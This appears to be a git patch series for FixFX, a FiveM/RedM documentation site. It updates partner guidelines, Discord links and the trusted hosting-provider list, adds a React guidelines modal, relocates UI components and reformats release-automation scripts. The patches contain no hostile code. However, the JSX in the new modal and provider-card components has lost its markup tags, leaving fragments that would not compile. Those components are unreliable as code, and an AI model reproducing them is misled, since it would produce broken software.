100644 --- a/packages/providers/GUIDELINES.md +++ b/packages/providers/GUIDELINES.md @@ -115,6 +115,6 @@ Partners will receive 30-day notice of termination unless the violation is sever ## Questions? Have questions about becoming a provider or these guidelines? -- Open an issue in the FixFX repository -- Email: partnerships@fixfx.dev -- Check the [Comprehensive Provider README](./README.md) for detailed technical requirements +- Open an issue in the [FixFX repository](https://github.com/CodeMeAPixel/FixFX/issues) +- Email: hey@codemeapixel.dev +- Check the [Comprehensive Provider README](https://github.com/CodeMeAPixel/FixFX/blob/develop/packages/providers/README.md) for detailed technical requirements diff --git a/packages/providers/README.md b/packages/providers/README.md index aa63ca7..a4cf330 100644 --- a/packages/providers/README.md +++ b/packages/providers/README.md @@ -210,7 +210,7 @@ Include this information in your PR: **Need help?** - 📖 Review the [JSON Schema](./schema.json) for technical specs -- 💬 Ask on our [Discord](https://discord.gg/Vv2bdC44Ge) +- 💬 Ask on our [Discord](https://discord.gg/cYauqJfnNK) - 🐛 [Open an issue](https://github.com/CodeMeAPixel/FixFX/issues) for technical problems **Partnership inquiries:** diff --git a/packages/providers/trusted-hosts.json b/packages/providers/trusted-hosts.json index 7818f1e..091e1b5 100644 --- a/packages/providers/trusted-hosts.json +++ b/packages/providers/trusted-hosts.json @@ -1,30 +1,54 @@ { - "lastUpdated": "2026-01-26T00:00:00Z", + "lastUpdated": "2026-01-27T01:48:05.934Z", "source": "https://fivem.net/server-hosting", "hosts": [ { - "id": "zap-hosting", - "name": "ZAP-Hosting", - "url": "https://zap-hosting.com", - "description": "Premium game server hosting with DDoS protection and 24/7 support", - "verified": true, - "lastVerified": "2026-01-26T00:00:00Z" + "id": "firestorm-servers", + "name": "Firestorm Servers", + "url": "https://firestormservers.com", + "description": "Trusted FiveM/RedM hosting provider", + "verified": false, + "lastVerified": "2026-01-27T01:48:05.933Z" + }, + { + "id": "g-portal", + "name": "G-Portal", + "url": "https://www.g-portal.com", + "description": "Trusted FiveM/RedM hosting provider", + "verified": false, + "lastVerified": "2026-01-27T01:48:05.933Z" + }, + { + "id": "gameservers", + "name": "GameServers", + "url": "https://www.gameservers.com", + "description": "Trusted FiveM/RedM hosting provider", + "verified": false, + "lastVerified": "2026-01-27T01:48:05.933Z" }, { "id": "gtxgaming", "name": "GTXGaming", "url": "https://gtxgaming.co.uk", - "description": "Reliable FiveM and RedM server hosting with excellent uptime", - "verified": true, - "lastVerified": "2026-01-26T00:00:00Z" + "description": "Trusted FiveM/RedM hosting provider", + "verified": false, + "lastVerified": "2026-01-27T01:48:05.933Z" }, { "id": "nitrado", "name": "Nitrado", "url": "https://nitrado.net", - "description": "Global game server hosting provider with multi-region support", - "verified": true, - "lastVerified": "2026-01-26T00:00:00Z" + "description": "Trusted FiveM/RedM hosting provider", + "verified": false, + "lastVerified": "2026-01-27T01:48:05.933Z" + }, + { + "id": "zap-hosting", + "name": "ZAP-Hosting", + "url": "https://zap-hosting.com", + "description": "Trusted FiveM/RedM hosting provider", + "verified": false, + "lastVerified": "2026-01-27T01:48:05.931Z" } ] -} +} \ No newline at end of file diff --git a/packages/providers/zap-hosting/provider.json b/packages/providers/zap-hosting/provider.json index ac30d7d..65d7d1a 100644 --- a/packages/providers/zap-hosting/provider.json +++ b/packages/providers/zap-hosting/provider.json @@ -36,6 +36,5 @@ "Multiple server locations", "SSD storage" ], - "highlight": "Official Partner", "priority": 100 } diff --git a/app/components/file-source.tsx b/packages/ui/src/components/file-source.tsx similarity index 100% rename from app/components/file-source.tsx rename to packages/ui/src/components/file-source.tsx diff --git a/packages/ui/src/components/guidelines-modal.tsx b/packages/ui/src/components/guidelines-modal.tsx new file mode 100644 index 0000000..0d735d9 --- /dev/null +++ b/packages/ui/src/components/guidelines-modal.tsx @@ -0,0 +1,226 @@ +"use client"; + +import { useState, useEffect } from "react"; +import { createPortal } from "react-dom"; +import { X } from "lucide-react"; + +interface GuidelinesModalProps { + open: boolean; + onOpenChange: (open: boolean) => void; +} + +export function GuidelinesModal({ open, onOpenChange }: GuidelinesModalProps) { + const [content, setContent] = useState(""); + const [loading, setLoading] = useState(false); + const [mounted, setMounted] = useState(false); + + useEffect(() => { + setMounted(true); + }, []); + + useEffect(() => { + if (!open) return; + + const fetchGuidelines = async () => { + setLoading(true); + try { + const response = await fetch("/api/guidelines"); + const data = await response.json(); + if (data.success) { + setContent(data.content); + } + } catch (error) { + console.error("Failed to fetch guidelines:", error); + } finally { + setLoading(false); + } + }; + + fetchGuidelines(); + }, [open]); + + useEffect(() => { + if (open) { + document.body.style.overflow = "hidden"; + } else { + document.body.style.overflow = "unset"; + } + return () => { + document.body.style.overflow = "unset"; + }; + }, [open]); + + if (!mounted) return null; + + const modal = ( + <> + {/* Backdrop */} +
onOpenChange(false)} + /> + + {/* Modal Content */} +
+ {/* Close Button */} + + + {/* Dialog Container */} +
+
+

+ Partnership Guidelines & Code of Conduct +

+ + {loading ? ( +
+
+
+

+ Loading guidelines... +

+
+
+ ) : ( +
+ {content.split("\n").map((line, idx) => { + if (!line.trim()) return
; + + // Headings + if (line.startsWith("# ")) { + return ( +

+ {line.replace(/^# /, "")} +

+ ); + } + if (line.startsWith("## ")) { + return ( +

+ {line.replace(/^## /, "")} +

+ ); + } + if (line.startsWith("### ")) { + return ( +

+ {line.replace(/^### /, "")} +

+ ); + } + + // Lists + if (line.startsWith("- ")) { + return ( +
+ + • + +

{formatMarkdownText(line.replace(/^- /, ""))}

+
+ ); + } + + // Regular paragraphs + return ( +

+ {formatMarkdownText(line)} +

+ ); + })} +
+ )} +
+
+
+ + ); + + return createPortal(open ? modal : null, document.body); +} + +function formatMarkdownText(text: string): React.ReactNode { + const parts: React.ReactNode[] = []; + let lastIndex = 0; + + // Handle [links](url), **bold**, _italic_, and `code` + const regex = /\[([^\]]+)\]\(([^)]+)\)|\*\*([^*]+)\*\*|_([^_]+)_|`([^`]+)`/g; + let match; + + while ((match = regex.exec(text)) !== null) { + // Add text before match + if (match.index > lastIndex) { + parts.push(text.substring(lastIndex, match.index)); + } + + // Add formatted text + if (match[1] && match[2]) { + // Link: [text](url) + parts.push( + + {match[1]} + + ); + } else if (match[3]) { + parts.push( + + {match[3]} + + ); + } else if (match[4]) { + parts.push( + + {match[4]} + + ); + } else if (match[5]) { + parts.push( + + {match[5]} + + ); + } + + lastIndex = match.index + match[0].length; + } + + // Add remaining text + if (lastIndex < text.length) { + parts.push(text.substring(lastIndex)); + } + + return parts.length > 0 ? parts : text; +} diff --git a/app/components/image-modal.tsx b/packages/ui/src/components/image-modal.tsx similarity index 100% rename from app/components/image-modal.tsx rename to packages/ui/src/components/image-modal.tsx diff --git a/packages/ui/src/components/index.ts b/packages/ui/src/components/index.ts index f47627d..debe120 100644 --- a/packages/ui/src/components/index.ts +++ b/packages/ui/src/components/index.ts @@ -3,9 +3,13 @@ export * from "./bento"; export * from "./button"; export * from "./card"; export * from "./code-editor"; +export * from "./file-source"; export * from "./grid"; +export * from "./guidelines-modal"; +export * from "./image-modal"; export * from "./marquee"; export * from "./mdx-components"; +export * from "./provider-card"; export * from "./retro"; export * from "./shimmer"; export * from "./shine"; diff --git a/app/hosting/provider-card.tsx b/packages/ui/src/components/provider-card.tsx similarity index 89% rename from app/hosting/provider-card.tsx rename to packages/ui/src/components/provider-card.tsx index 7e4064e..fef2697 100644 --- a/app/hosting/provider-card.tsx +++ b/packages/ui/src/components/provider-card.tsx @@ -4,7 +4,6 @@ import { useState } from "react"; import Link from "next/link"; import { Server, - Zap, Shield, Copy, Check, @@ -12,8 +11,9 @@ import { Percent, Clock, Globe, + Award, } from "lucide-react"; -import { cn } from "@/app/lib/utils"; +import { cn } from "@utils/functions/"; import type { HostingProvider } from "@/lib/providers"; function CopyButton({ text, className }: { text: string; className?: string }) { @@ -52,12 +52,13 @@ function CopyButton({ text, className }: { text: string; className?: string }) { export function ProviderCard({ provider }: { provider: HostingProvider }) { return (
- {/* Highlight badge */} - {provider.highlight && ( -
- - - {provider.highlight} + {/* CFX Trusted Badge */} + {provider.isTrusted && ( +
+ + + CFX Trusted + Trusted
)} diff --git a/packages/utils/src/constants/link.ts b/packages/utils/src/constants/link.ts index 753c200..7f032b8 100644 --- a/packages/utils/src/constants/link.ts +++ b/packages/utils/src/constants/link.ts @@ -5,7 +5,7 @@ export const ENV_URL = process.env.NODE_ENV === "development" ? "http://localhos // Go backend API endpoint - always use production by default // For local development with local backend, set API_URL environment variable to http://localhost:3001 export const API_URL = process.env.NEXT_PUBLIC_API_URL || "https://core.fixfx.wiki"; -export const DISCORD_LINK = "https://discord.gg/Vv2bdC44Ge"; +export const DISCORD_LINK = "https://discord.gg/cYauqJfnNK"; export const GITHUB_ORG = "https://github.com/CodeMeAPixel"; export const GITHUB_LINK = "https://github.com/CodeMeAPixel/FixFX"; export const DOCS_URL = "https://fixfx.wiki"; diff --git a/public/llms.txt b/public/llms.txt index cc818cd..6ff6fcc 100644 --- a/public/llms.txt +++ b/public/llms.txt @@ -56,7 +56,7 @@ FixFX is a documentation hub for the CitizenFX ecosystem, providing guides and r ## Contact - GitHub: https://github.com/CodeMeAPixel -- Discord: https://discord.gg/fixfx +- Discord: https://discord.gg/cYauqJfnNK ## Optional From 4f3d04e1350c9f81e7f51689ddddd5e5f87b8579 Mon Sep 17 00:00:00 2001 From: TheRealToxicDev Date: Mon, 26 Jan 2026 20:27:17 -0700 Subject: [PATCH 3/6] chore: cleanup some stuff --- .github/AUTOMATIC_RELEASES.md | 10 +- .github/CONTRIBUTING.md | 8 + .github/SECURITY.md | 2 +- .github/VERSIONING.md | 5 +- .github/scripts/analyze-commits.js | 75 +- .github/scripts/get-version.js | 72 +- .github/scripts/update-trusted-hosts.js | 181 +- .github/scripts/validate-trusted-hosts.js | 80 +- .github/scripts/validate-tsconfig.js | 49 +- .github/workflows/auto-release.yml | 182 -- .github/workflows/build-ci.yml | 10 +- .github/workflows/knip-ci.yml | 10 +- .github/workflows/knip-report.yml | 6 +- .github/workflows/tsconfig-validation.yml | 4 +- .github/workflows/update-trusted-hosts.yml | 20 +- .github/workflows/validate-providers.yml | 28 +- .vscode/extensions.json | 64 +- .vscode/settings.json | 86 +- CHANGELOG.md | 33 +- README.md | 13 +- app/(blog)/blog/(root)/layout.tsx | 6 +- app/(blog)/blog/(root)/page.tsx | 19 +- app/(blog)/blog/[slug]/page.tsx | 32 +- app/(blog)/blog/atom.xml/route.ts | 9 +- app/(blog)/blog/feed.json/route.ts | 10 +- app/(blog)/blog/feed.xml/route.ts | 9 +- app/(blog)/opengraph-image.tsx | 191 +- app/(blog)/twitter-image.tsx | 140 +- app/(docs)/docs/[...slug]/page.tsx | 11 +- app/(docs)/docs/layout.tsx | 8 +- app/(docs)/opengraph-image.tsx | 239 +- app/(docs)/twitter-image.tsx | 140 +- app/(landing)/docs/overview/page.tsx | 41 +- app/(landing)/opengraph-image.tsx | 291 +- app/(landing)/page.tsx | 6 +- app/(landing)/twitter-image.tsx | 143 +- app/api/chat/route.ts | 331 +- app/api/guidelines/route.ts | 9 +- app/api/providers/route.ts | 2 +- app/api/trusted-hosts/route.ts | 2 +- app/apple-icon.tsx | 140 +- app/artifacts/layout.tsx | 33 +- app/artifacts/opengraph-image.tsx | 267 +- app/artifacts/page.tsx | 85 +- app/artifacts/twitter-image.tsx | 140 +- app/banner-wide/route.tsx | 196 +- app/banner/route.tsx | 196 +- app/brand/page.tsx | 57 +- app/chat/layout.tsx | 44 +- app/chat/opengraph-image.tsx | 227 +- app/chat/page.tsx | 345 +- app/chat/twitter-image.tsx | 140 +- app/components/index.ts | 2 +- app/discord/page.tsx | 3 +- app/error.tsx | 145 +- app/github/page.tsx | 3 +- app/global-error.tsx | 140 +- app/hosting/layout.tsx | 6 +- app/hosting/opengraph-image.tsx | 277 +- app/hosting/page.tsx | 126 +- app/hosting/twitter-image.tsx | 277 +- app/icon.tsx | 138 +- app/layout.config.tsx | 62 +- app/layout.tsx | 33 +- app/lib/utils.ts | 8 +- app/manifest.ts | 3 +- app/natives/layout.tsx | 35 +- app/natives/opengraph-image.tsx | 239 +- app/natives/page.tsx | 173 +- app/natives/twitter-image.tsx | 140 +- app/not-found.tsx | 17 +- app/opengraph-image.tsx | 291 +- app/twitter-image.tsx | 143 +- commitlint.config.js | 48 +- commitlintrc.json | 6 +- content/blog/first-fivem-server-guide.mdx | 61 +- content/blog/fivem-evolution.mdx | 60 +- content/blog/redm-wild-west.mdx | 144 +- content/blog/txadmin-ultimate-guide.mdx | 84 +- content/blog/welcome.mdx | 48 +- content/docs/cfx/best-practices/index.mdx | 63 +- content/docs/cfx/best-practices/meta.json | 2 +- .../performance-optimization.mdx | 60 +- .../best-practices/resource-development.mdx | 48 +- content/docs/cfx/best-practices/security.mdx | 78 +- .../cfx/best-practices/server-management.mdx | 52 +- .../cfx/common-errors/database-connection.mdx | 53 +- .../docs/cfx/common-errors/event-handling.mdx | 53 +- .../cfx/common-errors/framework-errors.mdx | 84 +- content/docs/cfx/common-errors/index.mdx | 129 +- .../cfx/common-errors/manifest-errors.mdx | 35 +- content/docs/cfx/common-errors/meta.json | 2 +- .../docs/cfx/common-errors/network-issues.mdx | 55 +- .../cfx/common-errors/resource-loading.mdx | 49 +- .../server-thread-hitch-warning.mdx | 51 +- .../cfx/common-errors/state-bag-issues.mdx | 51 +- .../cfx/common-errors/thread-stalling.mdx | 76 +- content/docs/cfx/common-tools/debug-tools.mdx | 70 +- content/docs/cfx/common-tools/index.mdx | 43 +- content/docs/cfx/common-tools/meta.json | 9 +- .../docs/cfx/common-tools/network-tools.mdx | 64 +- content/docs/cfx/common-tools/profiler.mdx | 71 +- .../cfx/common-tools/resource-monitor.mdx | 48 +- content/docs/cfx/faq.mdx | 51 +- content/docs/cfx/index.mdx | 42 +- content/docs/cfx/meta.json | 2 +- .../cfx/performance/client-optimization.mdx | 35 +- .../cfx/performance/database-optimization.mdx | 38 +- content/docs/cfx/performance/index.mdx | 79 +- content/docs/cfx/performance/meta.json | 14 +- .../cfx/performance/resource-optimization.mdx | 38 +- .../cfx/performance/server-optimization.mdx | 73 +- .../cfx/resource-development/client-side.mdx | 60 +- .../cfx/resource-development/debugging.mdx | 110 +- .../docs/cfx/resource-development/index.mdx | 46 +- .../resource-development/manifest-files.mdx | 30 +- .../docs/cfx/resource-development/meta.json | 16 +- .../resource-development/nui-development.mdx | 851 ++--- .../cfx/resource-development/server-side.mdx | 136 +- content/docs/cfx/support.mdx | 18 +- content/docs/core/api/artifacts.mdx | 58 +- content/docs/core/api/chat.mdx | 362 ++- content/docs/core/api/contributors.mdx | 393 +-- content/docs/core/api/meta.json | 12 +- content/docs/core/api/natives.mdx | 88 +- content/docs/core/api/search.mdx | 606 ++-- content/docs/core/disclaimer.mdx | 28 +- content/docs/core/faq.mdx | 39 +- content/docs/core/glossary.mdx | 51 +- content/docs/core/index.mdx | 49 +- content/docs/core/meta.json | 9 +- content/docs/frameworks/esx/development.mdx | 7 +- content/docs/frameworks/esx/index.mdx | 7 +- content/docs/frameworks/esx/meta.json | 12 +- content/docs/frameworks/esx/setup.mdx | 7 +- .../docs/frameworks/esx/troubleshooting.mdx | 7 +- content/docs/frameworks/index.mdx | 52 +- content/docs/frameworks/meta.json | 9 +- .../docs/frameworks/qbcore/development.mdx | 7 +- content/docs/frameworks/qbcore/index.mdx | 7 +- content/docs/frameworks/qbcore/meta.json | 10 +- content/docs/frameworks/qbcore/setup.mdx | 7 +- .../frameworks/qbcore/troubleshooting.mdx | 7 +- content/docs/guides/backup-recovery.mdx | 130 +- content/docs/guides/common-threats.mdx | 188 +- content/docs/guides/database-setup.mdx | 141 +- content/docs/guides/database-tools.mdx | 120 +- content/docs/guides/index.mdx | 81 +- content/docs/guides/meta.json | 24 +- content/docs/guides/resource-installation.mdx | 126 +- content/docs/guides/security-permissions.mdx | 270 +- content/docs/guides/server-artifacts.mdx | 99 +- content/docs/guides/server-configuration.mdx | 51 +- content/docs/meta.json | 11 +- content/docs/txadmin/advanced.mdx | 7 +- content/docs/txadmin/api-events.mdx | 226 +- content/docs/txadmin/backup-system.mdx | 7 +- content/docs/txadmin/configuration.mdx | 7 +- content/docs/txadmin/custom-server-log.mdx | 7 +- content/docs/txadmin/development.mdx | 24 +- content/docs/txadmin/discord-bot.mdx | 281 +- content/docs/txadmin/discord-status.mdx | 18 +- content/docs/txadmin/env-config.mdx | 44 +- content/docs/txadmin/index.mdx | 47 +- content/docs/txadmin/linux/index.mdx | 6 +- content/docs/txadmin/linux/install.mdx | 7 +- content/docs/txadmin/linux/meta.json | 8 +- content/docs/txadmin/logs.mdx | 1 + content/docs/txadmin/menu.mdx | 16 + content/docs/txadmin/meta.json | 46 +- content/docs/txadmin/palettes.mdx | 42 +- content/docs/txadmin/permissions.mdx | 7 +- content/docs/txadmin/recipe.mdx | 36 +- content/docs/txadmin/server-management.mdx | 228 +- content/docs/txadmin/translation.mdx | 28 +- content/docs/txadmin/troubleshooting.mdx | 7 +- content/docs/txadmin/windows/index.mdx | 92 +- content/docs/txadmin/windows/install.mdx | 359 ++- content/docs/txadmin/windows/meta.json | 8 +- content/docs/vmenu/configuration.mdx | 163 +- content/docs/vmenu/features.mdx | 743 ++++- content/docs/vmenu/index.mdx | 66 +- content/docs/vmenu/meta.json | 18 +- content/docs/vmenu/permissions.mdx | 373 ++- content/docs/vmenu/setup.mdx | 152 +- content/docs/vmenu/troubleshooting.mdx | 109 +- eslint.config.js | 13 + knip.json | 17 +- lib/docs/source.ts | 2 +- lib/hooks.json | 2 +- lib/providers.ts | 20 +- lib/trusted-hosts.ts | 43 +- middleware.ts | 19 +- next.config.mjs | 12 +- package.json | 23 +- packages/core/src/useFetch/index.ts | 2 +- packages/providers/GUIDELINES.md | 20 +- packages/providers/README.md | 48 +- packages/providers/TRUSTED_HOSTS_README.md | 18 +- packages/providers/trusted-hosts.json | 2 +- packages/types/artifacts.ts | 182 +- packages/ui/src/components/accordion.tsx | 2 +- packages/ui/src/components/alert.tsx | 4 +- packages/ui/src/components/badge.tsx | 33 +- packages/ui/src/components/card.tsx | 16 +- packages/ui/src/components/chat-sidebar.tsx | 1246 ++++---- packages/ui/src/components/code-editor.tsx | 10 +- packages/ui/src/components/dialog.tsx | 52 +- packages/ui/src/components/dropdown-menu.tsx | 6 +- packages/ui/src/components/file-source.tsx | 78 +- packages/ui/src/components/githubInfo.tsx | 33 +- .../ui/src/components/guidelines-modal.tsx | 13 +- packages/ui/src/components/image-modal.tsx | 101 +- packages/ui/src/components/input.tsx | 39 +- packages/ui/src/components/label.tsx | 34 +- packages/ui/src/components/mdx-components.tsx | 711 +++-- .../ui/src/components/mobile-chat-drawer.tsx | 877 +++--- .../ui/src/components/mobile-chat-header.tsx | 102 +- packages/ui/src/components/model-card.tsx | 165 +- packages/ui/src/components/navbar.tsx | 57 +- packages/ui/src/components/pagination.tsx | 179 +- packages/ui/src/components/popover.tsx | 46 +- packages/ui/src/components/progress.tsx | 52 +- packages/ui/src/components/provider-card.tsx | 19 +- packages/ui/src/components/radio-group.tsx | 68 +- packages/ui/src/components/scroll-area.tsx | 4 +- packages/ui/src/components/select.tsx | 196 +- packages/ui/src/components/separator.tsx | 39 +- packages/ui/src/components/sheet.tsx | 444 +-- .../ui/src/components/sidebar-wrapper.tsx | 202 +- packages/ui/src/components/skeleton.tsx | 21 +- packages/ui/src/components/slider.tsx | 64 +- packages/ui/src/components/source-code.tsx | 18 +- packages/ui/src/components/switch.tsx | 46 +- packages/ui/src/components/tabs.tsx | 6 +- packages/ui/src/components/trace.tsx | 2 +- packages/ui/src/components/type-table.tsx | 25 +- .../src/core/artifacts/artifacts-content.tsx | 2772 ++++++++++------- .../src/core/artifacts/artifacts-drawer.tsx | 562 ++-- .../src/core/artifacts/artifacts-sidebar.tsx | 655 ++-- .../artifacts/mobile-artifacts-header.tsx | 94 +- .../src/core/artifacts/platform-selector.tsx | 480 +-- packages/ui/src/core/chat/ChatInterface.tsx | 1143 ++++--- .../ui/src/core/common/mobile-navigation.tsx | 136 +- packages/ui/src/core/docs/editor-client.tsx | 41 +- packages/ui/src/core/docs/editor.tsx | 2 +- packages/ui/src/core/landing/about.tsx | 30 +- packages/ui/src/core/landing/contributors.tsx | 4 +- packages/ui/src/core/landing/docs-preview.tsx | 20 +- packages/ui/src/core/landing/features.tsx | 31 +- packages/ui/src/core/landing/tracer.tsx | 29 +- packages/ui/src/core/layout/hero.tsx | 16 +- packages/ui/src/core/layout/search.tsx | 14 +- .../core/natives/mobile-natives-header.tsx | 168 +- .../ui/src/core/natives/natives-content.tsx | 1400 +++++---- .../src/core/natives/natives-filter-sheet.tsx | 711 +++-- .../ui/src/core/natives/natives-selector.tsx | 447 +-- .../ui/src/core/natives/natives-sidebar.tsx | 1327 ++++---- .../ui/src/core/settings/settings-panel.tsx | 252 +- packages/ui/src/icons/fixfx.tsx | 8 +- packages/ui/src/styles/globals.css | 139 +- packages/ui/src/styles/sheet-handle.css | 65 +- packages/utils/src/constants/keywords.ts | 2 +- packages/utils/src/constants/link.ts | 76 +- packages/utils/src/functions/githubFetcher.ts | 377 ++- packages/utils/src/types/types.ts | 10 +- packages/utils/tsconfig.json | 2 +- tailwind.config.ts | 5 +- tsconfig.json | 26 +- 269 files changed, 19093 insertions(+), 13686 deletions(-) delete mode 100644 .github/workflows/auto-release.yml create mode 100644 eslint.config.js diff --git a/.github/AUTOMATIC_RELEASES.md b/.github/AUTOMATIC_RELEASES.md index c846b79..312fc41 100644 --- a/.github/AUTOMATIC_RELEASES.md +++ b/.github/AUTOMATIC_RELEASES.md @@ -73,7 +73,7 @@ git commit -m "docs: improve README" The system looks at commits since the **last GitHub release tag** and: - Counts **breaking changes** → Major version bump -- Counts **features** → Minor version bump +- Counts **features** → Minor version bump - Counts **fixes** → Patch version bump - Ignores **chore/docs/test** commits @@ -108,17 +108,21 @@ The changelog is automatically generated from your commit messages: ## [1.1.0] - 2026-01-26 ### Breaking Changes + - Remove deprecated authentication method ### Added + - Add hosting provider directory structure - Add provider guidelines documentation ### Fixed + - Correct schema validation reference ``` This appears in: + 1. **CHANGELOG.md** - Updated automatically 2. **GitHub Release Notes** - Added automatically @@ -164,6 +168,7 @@ git commit -m "feat: add new provider support" ### Release created but CHANGELOG not updated The CHANGELOG update happens in the workflow. Check: + 1. Workflow logs in GitHub Actions 2. That commits use conventional format 3. That at least one `feat:`, `fix:`, or `breaking:` commit exists @@ -184,6 +189,7 @@ Make sure the tag follows `vMAJOR.MINOR.PATCH` format. For the best auto-generated changelogs: ### Good commit messages + ``` feat: add provider guidelines documentation feat(providers): reorganize directory structure @@ -192,6 +198,7 @@ breaking: remove deprecated API endpoints ``` ### Bad commit messages + ``` update stuff fixed things @@ -204,6 +211,7 @@ The commit message after the type/scope is included in the changelog, so keep th ## GitHub Actions Secrets No additional secrets needed! The workflow uses the default `GITHUB_TOKEN` which has permission to: + - Read commits and tags - Create releases - Push changes back to the repository diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index fb96b22..ebfebae 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -33,12 +33,14 @@ Enhancement suggestions are welcome! Please create an issue with: ### Submitting Pull Requests 1. **Fork the Repository** + ```bash git clone https://github.com/CodeMeAPixel/FixFX.git cd FixFX/frontend ``` 2. **Create a Feature Branch** + ```bash git checkout -b feature/your-feature-name # or for bug fixes: @@ -51,6 +53,7 @@ Enhancement suggestions are welcome! Please create an issue with: - Keep commits focused and atomic 4. **Test Your Changes** + ```bash # Install dependencies bun install @@ -71,6 +74,7 @@ Enhancement suggestions are welcome! Please create an issue with: - Add comments for complex logic 6. **Commit and Push** + ```bash git add . git commit -m "feat: Add your feature description" @@ -132,6 +136,7 @@ footer (optional) ``` Types: + - `feat`: A new feature - `fix`: A bug fix - `docs`: Documentation changes @@ -142,6 +147,7 @@ Types: - `chore`: Maintenance tasks, dependencies, etc. Examples: + ``` feat(natives): Add search highlighting to results fix(artifacts): Handle null metadata in pagination @@ -182,6 +188,7 @@ The frontend integrates with the Go backend via REST API: - **Development**: `http://localhost:3001` (via `NEXT_PUBLIC_API_URL` env var) Implemented services: + - Artifacts API (`/api/artifacts`) - Natives API (`/api/natives`) - Contributors API (`/api/contributors`) @@ -226,6 +233,7 @@ go run cmd/server/main.go Backend runs on `http://localhost:3001` Set environment variable for local testing: + ```bash NEXT_PUBLIC_API_URL=http://localhost:3001 bun dev ``` diff --git a/.github/SECURITY.md b/.github/SECURITY.md index ff8c239..b5b3593 100644 --- a/.github/SECURITY.md +++ b/.github/SECURITY.md @@ -5,7 +5,7 @@ We actively maintain security updates for the following versions: | Version | Supported | -|---------|-----------| +| ------- | --------- | | Latest | Yes | | < 1.0 | No | diff --git a/.github/VERSIONING.md b/.github/VERSIONING.md index 7a02fae..96f02af 100644 --- a/.github/VERSIONING.md +++ b/.github/VERSIONING.md @@ -28,7 +28,7 @@ node .github/scripts/get-version.js ```typescript // Async import and use -import { getVersion } from '../.github/scripts/get-version.js'; +import { getVersion } from "../.github/scripts/get-version.js"; const version = await getVersion(); console.log(`FixFX v${version}`); @@ -83,6 +83,7 @@ npm run version # outputs: 1.1.0 ## Fallback Behavior If no releases exist yet: + - Script returns `0.0.0-unknown` - Useful during initial development - Once you create first release, it auto-discovers @@ -110,12 +111,14 @@ GITHUB_TOKEN=your_token npm run version ## When to Use This Approach ✅ **Good for:** + - Open source projects with public releases - Teams that release regularly - Reducing merge conflicts on version changes - Keeping version in one place (GitHub) ❌ **Not ideal for:** + - Private packages without public releases - High-frequency build systems (performance sensitive) - Offline-first development (no API access) diff --git a/.github/scripts/analyze-commits.js b/.github/scripts/analyze-commits.js index 222ecff..eaf50ec 100644 --- a/.github/scripts/analyze-commits.js +++ b/.github/scripts/analyze-commits.js @@ -2,23 +2,23 @@ /** * Analyze commits since the last release - * + * * Determines the next version based on commit messages using * conventional commits format (feat:, fix:, breaking:) - * + * * Usage: * node analyze-commits.js * node analyze-commits.js --json */ -const { execSync } = require('child_process'); +const { execSync } = require("child_process"); -const REPO_OWNER = 'CodeMeAPixel'; -const REPO_NAME = 'FixFX'; +const REPO_OWNER = "CodeMeAPixel"; +const REPO_NAME = "FixFX"; function exec(command) { try { - return execSync(command, { encoding: 'utf-8' }).trim(); + return execSync(command, { encoding: "utf-8" }).trim(); } catch (error) { throw new Error(`Command failed: ${command}\n${error.message}`); } @@ -28,7 +28,7 @@ function getLastTag() { try { return exec('git describe --tags --abbrev=0 2>/dev/null || echo ""'); } catch { - return ''; + return ""; } } @@ -36,30 +36,30 @@ function getCommitsSinceTag(tag) { try { if (!tag) { // No tags yet, get all commits - return exec('git log --oneline --all'); + return exec("git log --oneline --all"); } return exec(`git log ${tag}..HEAD --oneline`); } catch (error) { - return ''; + return ""; } } function parseVersion(versionString) { // Remove 'v' prefix if present - const version = versionString.replace(/^v/, ''); - const parts = version.split('.'); - + const version = versionString.replace(/^v/, ""); + const parts = version.split("."); + return { major: parseInt(parts[0]) || 0, minor: parseInt(parts[1]) || 0, patch: parseInt(parts[2]) || 0, - prerelease: parts[3] ? parts.slice(3).join('.') : null, + prerelease: parts[3] ? parts.slice(3).join(".") : null, }; } function parseCommits(commitLog) { - const commits = commitLog.split('\n').filter(Boolean); - + const commits = commitLog.split("\n").filter(Boolean); + const analysis = { features: [], fixes: [], @@ -68,8 +68,10 @@ function parseCommits(commitLog) { }; for (const commit of commits) { - const match = commit.match(/^([a-f0-9]+)\s+(.+?):\s*(.+?)(?:\s*\((.+?)\))?$/); - + const match = commit.match( + /^([a-f0-9]+)\s+(.+?):\s*(.+?)(?:\s*\((.+?)\))?$/, + ); + if (!match) { analysis.other.push(commit); continue; @@ -84,11 +86,11 @@ function parseCommits(commitLog) { full: commit, }; - if (type === 'feat') { + if (type === "feat") { analysis.features.push(commitData); - } else if (type === 'fix') { + } else if (type === "fix") { analysis.fixes.push(commitData); - } else if (type === 'breaking' || message.includes('BREAKING CHANGE')) { + } else if (type === "breaking" || message.includes("BREAKING CHANGE")) { analysis.breaking.push(commitData); } else { analysis.other.push(commitData); @@ -99,7 +101,7 @@ function parseCommits(commitLog) { } function calculateNextVersion(currentVersion, analysis) { - const current = parseVersion(currentVersion || '0.0.0'); + const current = parseVersion(currentVersion || "0.0.0"); // Breaking changes = major version bump if (analysis.breaking.length > 0) { @@ -138,31 +140,31 @@ function formatVersion(versionObj) { } function generateChangelogEntry(version, analysis) { - const date = new Date().toISOString().split('T')[0]; + const date = new Date().toISOString().split("T")[0]; let entry = `## [${version}] - ${date}\n\n`; if (analysis.breaking.length > 0) { entry += `### Breaking Changes\n`; for (const commit of analysis.breaking) { - entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ''} (${commit.hash})\n`; + entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ""} (${commit.hash})\n`; } - entry += '\n'; + entry += "\n"; } if (analysis.features.length > 0) { entry += `### Added\n`; for (const commit of analysis.features) { - entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ''} (${commit.hash})\n`; + entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ""} (${commit.hash})\n`; } - entry += '\n'; + entry += "\n"; } if (analysis.fixes.length > 0) { entry += `### Fixed\n`; for (const commit of analysis.fixes) { - entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ''} (${commit.hash})\n`; + entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ""} (${commit.hash})\n`; } - entry += '\n'; + entry += "\n"; } if (analysis.other.length > 0) { @@ -170,7 +172,7 @@ function generateChangelogEntry(version, analysis) { for (const commit of analysis.other) { entry += `- ${commit}\n`; } - entry += '\n'; + entry += "\n"; } return entry; @@ -180,7 +182,7 